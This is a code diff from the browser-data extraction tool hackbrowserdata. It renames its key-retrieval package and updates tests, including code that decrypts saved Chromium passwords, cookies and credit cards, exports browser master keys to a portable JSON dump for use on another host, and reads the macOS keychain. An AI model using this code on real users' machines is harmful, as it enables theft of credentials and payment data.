got, err := extractYandexPasswords(keyretriever.MasterKeys{V10: masterKey}, path) got, err := extractYandexPasswords(masterkey.MasterKeys{V10: masterKey}, path)
require.NoError(t, err) require.NoError(t, err)
assert.Empty(t, got, "master-password profiles should be skipped in v1") assert.Empty(t, got, "master-password profiles should be skipped in v1")
} }
@@ -112,7 +112,7 @@ func TestExtractYandexPasswords_WrongMasterKey(t *testing.T) {
// A wrong master key fails at the intermediate step, surfacing as an error // A wrong master key fails at the intermediate step, surfacing as an error
// from the extractor. // from the extractor.
_, err := extractYandexPasswords(keyretriever.MasterKeys{V10: wrongKey}, path) _, err := extractYandexPasswords(masterkey.MasterKeys{V10: wrongKey}, path)
require.Error(t, err) require.Error(t, err)
} }
+8 -8
View File
@@ -3,9 +3,9 @@ package chromium
import ( import (
"path/filepath" "path/filepath"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
"github.com/moond4rk/hackbrowserdata/filemanager" "github.com/moond4rk/hackbrowserdata/filemanager"
"github.com/moond4rk/hackbrowserdata/log" "github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/masterkey"
"github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/types"
) )
@@ -30,7 +30,7 @@ func (p *profile) label() string { return p.browserName + "/" + p.name() }
// extract copies the profile's source files to a temp directory and extracts the // extract copies the profile's source files to a temp directory and extracts the
// requested categories, decrypting with the installation's master keys. // requested categories, decrypting with the installation's master keys.
func (p *profile) extract(keys keyretriever.MasterKeys, categories []types.Category) *types.BrowserData { func (p *profile) extract(masterKeys masterkey.MasterKeys, categories []types.Category) *types.BrowserData {
session, err := filemanager.NewSession() session, err := filemanager.NewSession()
if err != nil { if err != nil {
log.Debugf("new session for %s: %v", p.label(), err) log.Debugf("new session for %s: %v", p.label(), err)
@@ -45,7 +45,7 @@ func (p *profile) extract(keys keyretriever.MasterKeys, categories []types.Categ
if !ok { if !ok {
continue continue
} }
p.extractCategory(data, cat, keys, path) p.extractCategory(data, cat, masterKeys, path)
} }
return data return data
} }
@@ -91,9 +91,9 @@ func (p *profile) acquireFiles(session *filemanager.Session, categories []types.
// extractCategory calls the appropriate extract function for a category. A custom // extractCategory calls the appropriate extract function for a category. A custom
// extractor (registered via extractorsForKind) takes precedence over the switch. // extractor (registered via extractorsForKind) takes precedence over the switch.
func (p *profile) extractCategory(data *types.BrowserData, cat types.Category, keys keyretriever.MasterKeys, path string) { func (p *profile) extractCategory(data *types.BrowserData, cat types.Category, masterKeys masterkey.MasterKeys, path string) {
if ext, ok := p.extractors[cat]; ok { if ext, ok := p.extractors[cat]; ok {
if err := ext.extract(keys, path, data); err != nil { if err := ext.extract(masterKeys, path, data); err != nil {
log.Debugf("extract %s for %s: %v", cat, p.label(), err) log.Debugf("extract %s for %s: %v", cat, p.label(), err)
} }
return return
@@ -102,9 +102,9 @@ func (p *profile) extractCategory(data *types.BrowserData, cat types.Category, k
var err error var err error
switch cat { switch cat {
case types.Password: case types.Password:
data.Passwords, err = extractPasswords(keys, path) data.Passwords, err = extractPasswords(masterKeys, path)
case types.Cookie: case types.Cookie:
data.Cookies, err = extractCookies(keys, path) data.Cookies, err = extractCookies(masterKeys, path)
case types.History: case types.History:
data.Histories, err = extractHistories(path) data.Histories, err = extractHistories(path)
case types.Download: case types.Download:
@@ -112,7 +112,7 @@ func (p *profile) extractCategory(data *types.BrowserData, cat types.Category, k
case types.Bookmark: case types.Bookmark:
data.Bookmarks, err = extractBookmarks(path) data.Bookmarks, err = extractBookmarks(path)
case types.CreditCard: case types.CreditCard:
data.CreditCards, err = extractCreditCards(keys, path) data.CreditCards, err = extractCreditCards(masterKeys, path)
case types.Extension: case types.Extension:
data.Extensions, err = extractExtensions(path) data.Extensions, err = extractExtensions(path)
case types.LocalStorage: case types.LocalStorage:
+3 -3
View File
@@ -8,8 +8,8 @@ import (
"github.com/stretchr/testify/assert" "github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require" "github.com/stretchr/testify/require"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
"github.com/moond4rk/hackbrowserdata/filemanager" "github.com/moond4rk/hackbrowserdata/filemanager"
"github.com/moond4rk/hackbrowserdata/masterkey"
"github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/types"
) )
@@ -32,7 +32,7 @@ func TestExtractCategory_CustomExtractor(t *testing.T) {
} }
data := &types.BrowserData{} data := &types.BrowserData{}
p.extractCategory(data, types.Extension, keyretriever.MasterKeys{}, "unused-path") p.extractCategory(data, types.Extension, masterkey.MasterKeys{}, "unused-path")
assert.True(t, called, "custom extractor should be called") assert.True(t, called, "custom extractor should be called")
require.Len(t, data.Extensions, 1) require.Len(t, data.Extensions, 1)
@@ -51,7 +51,7 @@ func TestExtractCategory_DefaultFallback(t *testing.T) {
} }
data := &types.BrowserData{} data := &types.BrowserData{}
p.extractCategory(data, types.History, keyretriever.MasterKeys{}, path) p.extractCategory(data, types.History, masterkey.MasterKeys{}, path)
require.Len(t, data.Histories, 1) require.Len(t, data.Histories, 1)
assert.Equal(t, "Example", data.Histories[0].Title) assert.Equal(t, "Example", data.Histories[0].Title)
+9 -9
View File
@@ -3,7 +3,7 @@ package chromium
import ( import (
"path/filepath" "path/filepath"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/masterkey"
"github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/types"
) )
@@ -51,17 +51,17 @@ func sourcesForKind(kind types.BrowserKind) map[types.Category][]sourcePath {
// switch logic, enabling browser-specific parsing (e.g. Opera's opsettings // switch logic, enabling browser-specific parsing (e.g. Opera's opsettings
// for extensions, Yandex's credit card table, QBCI-encrypted bookmarks). // for extensions, Yandex's credit card table, QBCI-encrypted bookmarks).
type categoryExtractor interface { type categoryExtractor interface {
extract(keys keyretriever.MasterKeys, path string, data *types.BrowserData) error extract(masterKeys masterkey.MasterKeys, path string, data *types.BrowserData) error
} }
// passwordExtractor wraps a custom password extract function. // passwordExtractor wraps a custom password extract function.
type passwordExtractor struct { type passwordExtractor struct {
fn func(keys keyretriever.MasterKeys, path string) ([]types.LoginEntry, error) fn func(masterKeys masterkey.MasterKeys, path string) ([]types.LoginEntry, error)
} }
func (e passwordExtractor) extract(keys keyretriever.MasterKeys, path string, data *types.BrowserData) error { func (e passwordExtractor) extract(masterKeys masterkey.MasterKeys, path string, data *types.BrowserData) error {
var err error var err error
data.Passwords, err = e.fn(keys, path) data.Passwords, err = e.fn(masterKeys, path)
return err return err
} }
@@ -70,7 +70,7 @@ type extensionExtractor struct {
fn func(path string) ([]types.ExtensionEntry, error) fn func(path string) ([]types.ExtensionEntry, error)
} }
func (e extensionExtractor) extract(_ keyretriever.MasterKeys, path string, data *types.BrowserData) error { func (e extensionExtractor) extract(_ masterkey.MasterKeys, path string, data *types.BrowserData) error {
var err error var err error
data.Extensions, err = e.fn(path) data.Extensions, err = e.fn(path)
return err return err
@@ -79,12 +79,12 @@ func (e extensionExtractor) extract(_ keyretriever.MasterKeys, path string, data
// creditCardExtractor wraps a custom credit-card extract function, used by Yandex whose Ya Credit Cards DB stores // creditCardExtractor wraps a custom credit-card extract function, used by Yandex whose Ya Credit Cards DB stores
// rows as records(guid, public_data, private_data) with JSON blobs rather than Chromium's flat credit_cards table. // rows as records(guid, public_data, private_data) with JSON blobs rather than Chromium's flat credit_cards table.
type creditCardExtractor struct { type creditCardExtractor struct {
fn func(keys keyretriever.MasterKeys, path string) ([]types.CreditCardEntry, error) fn func(masterKeys masterkey.MasterKeys, path string) ([]types.CreditCardEntry, error)
} }
func (e creditCardExtractor) extract(keys keyretriever.MasterKeys, path string, data *types.BrowserData) error { func (e creditCardExtractor) extract(masterKeys masterkey.MasterKeys, path string, data *types.BrowserData) error {
var err error var err error
data.CreditCards, err = e.fn(keys, path) data.CreditCards, err = e.fn(masterKeys, path)
return err return err
} }
+25 -32
View File
@@ -3,39 +3,36 @@ package browser
import ( import (
"runtime" "runtime"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
"github.com/moond4rk/hackbrowserdata/log" "github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/masterkey"
) )
// BuildDump exports per-installation master keys. Each Browser is one installation, // BuildDump exports one Vault per installation (Firefox/Safari, lacking KeyManager, are skipped).
// so this is a straight one-Vault-per-installation map: ExportKeys is invoked once // Partial results are kept — a Chrome 127+ profile mixes v10+v20, so a v20-only failure must not
// per installation. Installations without KeyManager (Firefox/Safari) are skipped. // discard a usable v10 key.
// Partial results (e.g. V10 retrieved, V20 failed) keep the usable tiers rather than func BuildDump(browsers []Browser) masterkey.Dump {
// discarding the vault — a Chrome 127+ profile mixes v10 + v20 ciphertexts and a dump := masterkey.NewDump()
// v20-only failure must not erase a usable v10 key.
func BuildDump(browsers []Browser) keyretriever.Dump {
dump := keyretriever.NewDump()
for _, b := range browsers { for _, b := range browsers {
km, ok := b.(KeyManager) km, ok := b.(KeyManager)
if !ok { if !ok {
continue continue
} }
keys, err := km.ExportKeys() mk, err := km.ExportKeys()
if err != nil { if err != nil {
status := "partial" status := "partial"
if !keys.HasAny() { if !mk.HasAny() {
status = "failed" status = "failed"
} }
log.Warnf("dump-keys: %s %s: %v", b.BrowserName(), status, err) log.Warnf("dump-keys: %s %s: %v", b.BrowserName(), status, err)
} }
if !keys.HasAny() { if !mk.HasAny() {
continue continue
} }
dump.Vaults = append(dump.Vaults, keyretriever.Vault{ dump.Vaults = append(dump.Vaults, masterkey.Vault{
Browser: b.BrowserName(), Browser: b.BrowserName(),
UserDataDir: b.UserDataDir(), UserDataDir: b.UserDataDir(),
Profiles: profileNames(b), Profiles: profileNames(b),
Keys: keys, Keys: mk,
}) })
} }
return dump return dump
@@ -50,21 +47,17 @@ func profileNames(b Browser) []string {
return names return names
} }
// ApplyDump installs master keys from dump onto matching installations, replacing // ApplyDump overlays StaticRetrievers from dump onto matching installations (Firefox/Safari skipped).
// each installation's default platform-native retrievers with StaticProviders // Match is by (BrowserName, UserDataDir); on miss — commonly a cross-host path mismatch (Windows vs
// backed by the Dump's bytes. Matching is by (BrowserName, UserDataDir) — the same // POSIX, or a relocated dir via -p) — it falls back to the sole vault for that browser name. No match
// key BuildDump emits. When exact match fails (commonly a cross-host path mismatch: // → warn and leave the platform retrievers in place.
// Windows backslash vs POSIX, or a relocated User Data dir via -p), falls back to func ApplyDump(browsers []Browser, dump masterkey.Dump) {
// the sole vault for that browser name when one exists. Installations without a
// matching vault are warned and left untouched; non-KeyManager installations
// (Firefox/Safari) are skipped silently.
func ApplyDump(browsers []Browser, dump keyretriever.Dump) {
if dump.Host.OS != "" && dump.Host.OS != runtime.GOOS { if dump.Host.OS != "" && dump.Host.OS != runtime.GOOS {
log.Infof("apply-keys: dump created on %s/%s; current host is %s/%s", log.Infof("apply-keys: dump created on %s/%s; current host is %s/%s",
dump.Host.OS, dump.Host.Arch, runtime.GOOS, runtime.GOARCH) dump.Host.OS, dump.Host.Arch, runtime.GOOS, runtime.GOARCH)
} }
vaultIndex := make(map[string]*keyretriever.Vault, len(dump.Vaults)) vaultIndex := make(map[string]*masterkey.Vault, len(dump.Vaults))
vaultsByBrowser := make(map[string][]*keyretriever.Vault) vaultsByBrowser := make(map[string][]*masterkey.Vault)
for i := range dump.Vaults { for i := range dump.Vaults {
v := &dump.Vaults[i] v := &dump.Vaults[i]
vaultIndex[v.Browser+"|"+v.UserDataDir] = v vaultIndex[v.Browser+"|"+v.UserDataDir] = v
@@ -88,19 +81,19 @@ func ApplyDump(browsers []Browser, dump keyretriever.Dump) {
log.Warnf("apply-keys: %s no matching vault in dump", b.BrowserName()) log.Warnf("apply-keys: %s no matching vault in dump", b.BrowserName())
continue continue
} }
km.SetKeyRetrievers(keyretriever.Retrievers{ km.SetRetrievers(masterkey.Retrievers{
V10: maybeStaticProvider(v.Keys.V10), V10: maybeStaticRetriever(v.Keys.V10),
V11: maybeStaticProvider(v.Keys.V11), V11: maybeStaticRetriever(v.Keys.V11),
V20: maybeStaticProvider(v.Keys.V20), V20: maybeStaticRetriever(v.Keys.V20),
}) })
} }
} }
// maybeStaticProvider wraps non-empty key bytes as a StaticProvider; an empty/nil key returns nil // maybeStaticRetriever wraps non-empty key bytes as a StaticRetriever; an empty/nil key returns nil
// to preserve the "tier not applicable" signal NewMasterKeys expects. // to preserve the "tier not applicable" signal NewMasterKeys expects.
func maybeStaticProvider(key []byte) keyretriever.KeyRetriever { func maybeStaticRetriever(key []byte) masterkey.Retriever {
if len(key) == 0 { if len(key) == 0 {
return nil return nil
} }
return keyretriever.NewStaticProvider(key) return masterkey.NewStaticRetriever(key)
} }
+35 -35
View File
@@ -6,7 +6,7 @@ import (
"runtime" "runtime"
"testing" "testing"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/masterkey"
"github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/types"
) )
@@ -44,25 +44,25 @@ func (m *mockBrowser) CountEntries(_ []types.Category) ([]types.CountResult, err
type mockChromiumBrowser struct { type mockChromiumBrowser struct {
mockBrowser mockBrowser
keys keyretriever.MasterKeys keys masterkey.MasterKeys
exportErr error exportErr error
calls int calls int
receivedRetrievers keyretriever.Retrievers receivedRetrievers masterkey.Retrievers
} }
func (m *mockChromiumBrowser) SetKeyRetrievers(r keyretriever.Retrievers) { func (m *mockChromiumBrowser) SetRetrievers(r masterkey.Retrievers) {
m.receivedRetrievers = r m.receivedRetrievers = r
} }
func (m *mockChromiumBrowser) ExportKeys() (keyretriever.MasterKeys, error) { func (m *mockChromiumBrowser) ExportKeys() (masterkey.MasterKeys, error) {
m.calls++ m.calls++
return m.keys, m.exportErr return m.keys, m.exportErr
} }
func TestBuildDump_Empty(t *testing.T) { func TestBuildDump_Empty(t *testing.T) {
dump := BuildDump(nil) dump := BuildDump(nil)
if dump.Version != keyretriever.DumpVersion { if dump.Version != masterkey.DumpVersion {
t.Errorf("Version = %q, want %q", dump.Version, keyretriever.DumpVersion) t.Errorf("Version = %q, want %q", dump.Version, masterkey.DumpVersion)
} }
if dump.Host.OS != runtime.GOOS { if dump.Host.OS != runtime.GOOS {
t.Errorf("Host.OS = %q, want %q", dump.Host.OS, runtime.GOOS) t.Errorf("Host.OS = %q, want %q", dump.Host.OS, runtime.GOOS)
@@ -75,7 +75,7 @@ func TestBuildDump_Empty(t *testing.T) {
func TestBuildDump_SingleChromium(t *testing.T) { func TestBuildDump_SingleChromium(t *testing.T) {
b := &mockChromiumBrowser{ b := &mockChromiumBrowser{
mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}}, mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}},
keys: keyretriever.MasterKeys{V10: []byte("v10-key")}, keys: masterkey.MasterKeys{V10: []byte("v10-key")},
} }
dump := BuildDump([]Browser{b}) dump := BuildDump([]Browser{b})
@@ -101,7 +101,7 @@ func TestBuildDump_SingleChromium(t *testing.T) {
func TestBuildDump_MultipleProfilesOneVault(t *testing.T) { func TestBuildDump_MultipleProfilesOneVault(t *testing.T) {
b := &mockChromiumBrowser{ b := &mockChromiumBrowser{
mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault, testProfile1}}, mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault, testProfile1}},
keys: keyretriever.MasterKeys{V10: []byte("v10")}, keys: masterkey.MasterKeys{V10: []byte("v10")},
} }
dump := BuildDump([]Browser{b}) dump := BuildDump([]Browser{b})
@@ -120,7 +120,7 @@ func TestBuildDump_MultipleProfilesOneVault(t *testing.T) {
func TestBuildDump_SkipsNonKeyManager(t *testing.T) { func TestBuildDump_SkipsNonKeyManager(t *testing.T) {
chrome := &mockChromiumBrowser{ chrome := &mockChromiumBrowser{
mockBrowser: mockBrowser{name: chromeName, userDataDir: "/chrome", profiles: []string{testProfileDefault}}, mockBrowser: mockBrowser{name: chromeName, userDataDir: "/chrome", profiles: []string{testProfileDefault}},
keys: keyretriever.MasterKeys{V10: []byte("v10")}, keys: masterkey.MasterKeys{V10: []byte("v10")},
} }
firefox := &mockBrowser{name: firefoxName, userDataDir: "/ff", profiles: []string{"default-release"}} firefox := &mockBrowser{name: firefoxName, userDataDir: "/ff", profiles: []string{"default-release"}}
@@ -137,7 +137,7 @@ func TestBuildDump_SkipsNonKeyManager(t *testing.T) {
func TestBuildDump_SkipsExportError(t *testing.T) { func TestBuildDump_SkipsExportError(t *testing.T) {
good := &mockChromiumBrowser{ good := &mockChromiumBrowser{
mockBrowser: mockBrowser{name: chromeName, userDataDir: "/chrome", profiles: []string{testProfileDefault}}, mockBrowser: mockBrowser{name: chromeName, userDataDir: "/chrome", profiles: []string{testProfileDefault}},
keys: keyretriever.MasterKeys{V10: []byte("v10")}, keys: masterkey.MasterKeys{V10: []byte("v10")},
} }
failing := &mockChromiumBrowser{ failing := &mockChromiumBrowser{
mockBrowser: mockBrowser{name: testEdgeName, userDataDir: "/edge", profiles: []string{testProfileDefault}}, mockBrowser: mockBrowser{name: testEdgeName, userDataDir: "/edge", profiles: []string{testProfileDefault}},
@@ -157,7 +157,7 @@ func TestBuildDump_SkipsExportError(t *testing.T) {
func TestBuildDump_JSONRoundTrip(t *testing.T) { func TestBuildDump_JSONRoundTrip(t *testing.T) {
b := &mockChromiumBrowser{ b := &mockChromiumBrowser{
mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}}, mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}},
keys: keyretriever.MasterKeys{V10: []byte{0x01, 0x02, 0x03}, V20: []byte{0xff, 0xee}}, keys: masterkey.MasterKeys{V10: []byte{0x01, 0x02, 0x03}, V20: []byte{0xff, 0xee}},
} }
dump := BuildDump([]Browser{b}) dump := BuildDump([]Browser{b})
@@ -167,7 +167,7 @@ func TestBuildDump_JSONRoundTrip(t *testing.T) {
t.Fatalf("WriteJSON: %v", err) t.Fatalf("WriteJSON: %v", err)
} }
parsed, err := keyretriever.ReadJSON(&buf) parsed, err := masterkey.ReadJSON(&buf)
if err != nil { if err != nil {
t.Fatalf("ReadJSON: %v", err) t.Fatalf("ReadJSON: %v", err)
} }
@@ -192,7 +192,7 @@ func TestBuildDump_JSONRoundTrip(t *testing.T) {
func TestBuildDump_PartialKeys(t *testing.T) { func TestBuildDump_PartialKeys(t *testing.T) {
b := &mockChromiumBrowser{ b := &mockChromiumBrowser{
mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}}, mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}},
keys: keyretriever.MasterKeys{V10: []byte("v10")}, keys: masterkey.MasterKeys{V10: []byte("v10")},
exportErr: errors.New("v20: ABE failed"), exportErr: errors.New("v20: ABE failed"),
} }
@@ -213,9 +213,9 @@ func TestApplyDump_Match(t *testing.T) {
b := &mockChromiumBrowser{ b := &mockChromiumBrowser{
mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}}, mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}},
} }
dump := keyretriever.Dump{ dump := masterkey.Dump{
Vaults: []keyretriever.Vault{ Vaults: []masterkey.Vault{
{Browser: chromeName, UserDataDir: testUDD, Keys: keyretriever.MasterKeys{V10: []byte("v10-from-dump")}}, {Browser: chromeName, UserDataDir: testUDD, Keys: masterkey.MasterKeys{V10: []byte("v10-from-dump")}},
}, },
} }
ApplyDump([]Browser{b}, dump) ApplyDump([]Browser{b}, dump)
@@ -223,7 +223,7 @@ func TestApplyDump_Match(t *testing.T) {
if b.receivedRetrievers.V10 == nil { if b.receivedRetrievers.V10 == nil {
t.Fatal("V10 retriever should be set from matching vault") t.Fatal("V10 retriever should be set from matching vault")
} }
got, err := b.receivedRetrievers.V10.RetrieveKey(keyretriever.Hints{}) got, err := b.receivedRetrievers.V10.RetrieveKey(masterkey.Hints{})
if err != nil || string(got) != "v10-from-dump" { if err != nil || string(got) != "v10-from-dump" {
t.Errorf("V10.RetrieveKey() = %q, err = %v, want %q", got, err, "v10-from-dump") t.Errorf("V10.RetrieveKey() = %q, err = %v, want %q", got, err, "v10-from-dump")
} }
@@ -236,9 +236,9 @@ func TestApplyDump_MissingVault(t *testing.T) {
b := &mockChromiumBrowser{ b := &mockChromiumBrowser{
mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}}, mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}},
} }
dump := keyretriever.Dump{ dump := masterkey.Dump{
Vaults: []keyretriever.Vault{ Vaults: []masterkey.Vault{
{Browser: testEdgeName, UserDataDir: "/edge", Keys: keyretriever.MasterKeys{V10: []byte("v10")}}, {Browser: testEdgeName, UserDataDir: "/edge", Keys: masterkey.MasterKeys{V10: []byte("v10")}},
}, },
} }
ApplyDump([]Browser{b}, dump) ApplyDump([]Browser{b}, dump)
@@ -250,9 +250,9 @@ func TestApplyDump_MissingVault(t *testing.T) {
func TestApplyDump_NonKeyManagerSkipped(t *testing.T) { func TestApplyDump_NonKeyManagerSkipped(t *testing.T) {
firefox := &mockBrowser{name: firefoxName, userDataDir: "/ff", profiles: []string{"default-release"}} firefox := &mockBrowser{name: firefoxName, userDataDir: "/ff", profiles: []string{"default-release"}}
dump := keyretriever.Dump{ dump := masterkey.Dump{
Vaults: []keyretriever.Vault{ Vaults: []masterkey.Vault{
{Browser: firefoxName, UserDataDir: "/ff", Keys: keyretriever.MasterKeys{V10: []byte("v10")}}, {Browser: firefoxName, UserDataDir: "/ff", Keys: masterkey.MasterKeys{V10: []byte("v10")}},
}, },
} }
// firefox does not implement KeyManager; ApplyDump must not panic and must not attempt injection. // firefox does not implement KeyManager; ApplyDump must not panic and must not attempt injection.
@@ -262,7 +262,7 @@ func TestApplyDump_NonKeyManagerSkipped(t *testing.T) {
func TestApplyDump_RoundTrip(t *testing.T) { func TestApplyDump_RoundTrip(t *testing.T) {
src := &mockChromiumBrowser{ src := &mockChromiumBrowser{
mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}}, mockBrowser: mockBrowser{name: chromeName, userDataDir: testUDD, profiles: []string{testProfileDefault}},
keys: keyretriever.MasterKeys{V10: []byte("v10-rt"), V20: []byte("v20-rt")}, keys: masterkey.MasterKeys{V10: []byte("v10-rt"), V20: []byte("v20-rt")},
} }
dump := BuildDump([]Browser{src}) dump := BuildDump([]Browser{src})
@@ -271,11 +271,11 @@ func TestApplyDump_RoundTrip(t *testing.T) {
} }
ApplyDump([]Browser{dst}, dump) ApplyDump([]Browser{dst}, dump)
v10, _ := dst.receivedRetrievers.V10.RetrieveKey(keyretriever.Hints{}) v10, _ := dst.receivedRetrievers.V10.RetrieveKey(masterkey.Hints{})
if string(v10) != "v10-rt" { if string(v10) != "v10-rt" {
t.Errorf("V10 round-trip: got %q, want v10-rt", v10) t.Errorf("V10 round-trip: got %q, want v10-rt", v10)
} }
v20, _ := dst.receivedRetrievers.V20.RetrieveKey(keyretriever.Hints{}) v20, _ := dst.receivedRetrievers.V20.RetrieveKey(masterkey.Hints{})
if string(v20) != "v20-rt" { if string(v20) != "v20-rt" {
t.Errorf("V20 round-trip: got %q, want v20-rt", v20) t.Errorf("V20 round-trip: got %q, want v20-rt", v20)
} }
@@ -291,12 +291,12 @@ func TestApplyDump_FallbackOnPathMismatch(t *testing.T) {
b := &mockChromiumBrowser{ b := &mockChromiumBrowser{
mockBrowser: mockBrowser{name: chromeName, userDataDir: "/local/chrome", profiles: []string{testProfileDefault}}, mockBrowser: mockBrowser{name: chromeName, userDataDir: "/local/chrome", profiles: []string{testProfileDefault}},
} }
dump := keyretriever.Dump{ dump := masterkey.Dump{
Vaults: []keyretriever.Vault{ Vaults: []masterkey.Vault{
{ {
Browser: chromeName, Browser: chromeName,
UserDataDir: `C:\Users\foo\AppData\Local\Google\Chrome\User Data`, UserDataDir: `C:\Users\foo\AppData\Local\Google\Chrome\User Data`,
Keys: keyretriever.MasterKeys{V10: []byte("v10-fallback")}, Keys: masterkey.MasterKeys{V10: []byte("v10-fallback")},
}, },
}, },
} }
@@ -305,7 +305,7 @@ func TestApplyDump_FallbackOnPathMismatch(t *testing.T) {
if b.receivedRetrievers.V10 == nil { if b.receivedRetrievers.V10 == nil {
t.Fatal("V10 retriever should be set via single-vault fallback") t.Fatal("V10 retriever should be set via single-vault fallback")
} }
got, err := b.receivedRetrievers.V10.RetrieveKey(keyretriever.Hints{}) got, err := b.receivedRetrievers.V10.RetrieveKey(masterkey.Hints{})
if err != nil || string(got) != "v10-fallback" { if err != nil || string(got) != "v10-fallback" {
t.Errorf("V10.RetrieveKey() = %q, err = %v, want %q", got, err, "v10-fallback") t.Errorf("V10.RetrieveKey() = %q, err = %v, want %q", got, err, "v10-fallback")
} }
@@ -317,10 +317,10 @@ func TestApplyDump_NoFallbackWhenAmbiguous(t *testing.T) {
b := &mockChromiumBrowser{ b := &mockChromiumBrowser{
mockBrowser: mockBrowser{name: chromeName, userDataDir: "/local/chrome", profiles: []string{testProfileDefault}}, mockBrowser: mockBrowser{name: chromeName, userDataDir: "/local/chrome", profiles: []string{testProfileDefault}},
} }
dump := keyretriever.Dump{ dump := masterkey.Dump{
Vaults: []keyretriever.Vault{ Vaults: []masterkey.Vault{
{Browser: chromeName, UserDataDir: "/path/a", Keys: keyretriever.MasterKeys{V10: []byte("a")}}, {Browser: chromeName, UserDataDir: "/path/a", Keys: masterkey.MasterKeys{V10: []byte("a")}},
{Browser: chromeName, UserDataDir: "/path/b", Keys: keyretriever.MasterKeys{V10: []byte("b")}}, {Browser: chromeName, UserDataDir: "/path/b", Keys: masterkey.MasterKeys{V10: []byte("b")}},
}, },
} }
ApplyDump([]Browser{b}, dump) ApplyDump([]Browser{b}, dump)
+4 -12
View File
@@ -45,16 +45,9 @@ func countPasswords(keychainPassword string) (int, error) {
return len(passwords), nil return len(passwords), nil
} }
// getInternetPasswords reads InternetPassword records directly from the // getInternetPasswords reads InternetPassword records straight from the macOS login keychain (Safari owns its own key
// macOS login keychain. See rfcs/006-key-retrieval-mechanisms.md §7 for why // path, separate from the masterkey package). TryUnlock always runs — even without a password — so a locked keychain
// Safari owns this path instead of routing through crypto/keyretriever. // still yields metadata-only records (URL, account, blank password) instead of failing with ErrLocked.
//
// TryUnlock is always invoked — with the user-supplied password when one is
// available, otherwise with no options — to enable keychainbreaker's partial
// extraction mode. With a valid password we get fully decrypted entries; with
// empty or wrong password we still get metadata records (URL, account,
// timestamps) and PlainPassword left blank, which Safari can export as
// metadata-only output instead of failing with ErrLocked.
func getInternetPasswords(keychainPassword string) ([]keychainbreaker.InternetPassword, error) { func getInternetPasswords(keychainPassword string) ([]keychainbreaker.InternetPassword, error) {
kc, err := keychainbreaker.Open() kc, err := keychainbreaker.Open()
if err != nil { if err != nil {
@@ -82,8 +75,7 @@ func buildURL(protocol, server string, port uint32, path string) string {
return "" return ""
} }
// Convert macOS Keychain FourCC protocol code to URL scheme. // macOS Keychain stores the protocol as a FourCC code; only "htps" needs remapping, others just trim padding.
// Only "htps" needs special mapping; others just need space trimming.
scheme := strings.TrimRight(protocol, " ") scheme := strings.TrimRight(protocol, " ")
if scheme == "" || scheme == "htps" { if scheme == "" || scheme == "htps" {
scheme = "https" scheme = "https"
+1 -1
View File
@@ -31,7 +31,7 @@ func dumpCmd() *cobra.Command {
hack-browser-data dump -f cookie-editor hack-browser-data dump -f cookie-editor
hack-browser-data dump --zip`, hack-browser-data dump --zip`,
RunE: func(cmd *cobra.Command, args []string) error { RunE: func(cmd *cobra.Command, args []string) error {
browsers, err := browser.DiscoverBrowsersWithKeys(browser.PickOptions{ browsers, err := browser.DiscoverBrowsersWithKeys(browser.DiscoverOptions{
Name: browserName, Name: browserName,
ProfilePath: profilePath, ProfilePath: profilePath,
KeychainPassword: keychainPw, KeychainPassword: keychainPw,
+4 -4
View File
@@ -9,8 +9,8 @@ import (
"github.com/spf13/cobra" "github.com/spf13/cobra"
"github.com/moond4rk/hackbrowserdata/browser" "github.com/moond4rk/hackbrowserdata/browser"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
"github.com/moond4rk/hackbrowserdata/log" "github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/masterkey"
) )
func keysCmd() *cobra.Command { func keysCmd() *cobra.Command {
@@ -35,7 +35,7 @@ func keysExportCmd() *cobra.Command {
Example: ` hack-browser-data keys export -o dump.json Example: ` hack-browser-data keys export -o dump.json
hack-browser-data keys export -b chrome`, hack-browser-data keys export -b chrome`,
RunE: func(cmd *cobra.Command, args []string) error { RunE: func(cmd *cobra.Command, args []string) error {
browsers, err := browser.DiscoverBrowsersWithKeys(browser.PickOptions{ browsers, err := browser.DiscoverBrowsersWithKeys(browser.DiscoverOptions{
Name: browserName, Name: browserName,
KeychainPassword: keychainPw, KeychainPassword: keychainPw,
}) })
@@ -135,12 +135,12 @@ func loadAndApplyKeys(browserName, profilePath, keysPath string) ([]browser.Brow
defer f.Close() defer f.Close()
r = f r = f
} }
dump, err := keyretriever.ReadJSON(r) dump, err := masterkey.ReadJSON(r)
if err != nil { if err != nil {
return nil, fmt.Errorf("read keys file %q: %w", keysPath, err) return nil, fmt.Errorf("read keys file %q: %w", keysPath, err)
} }
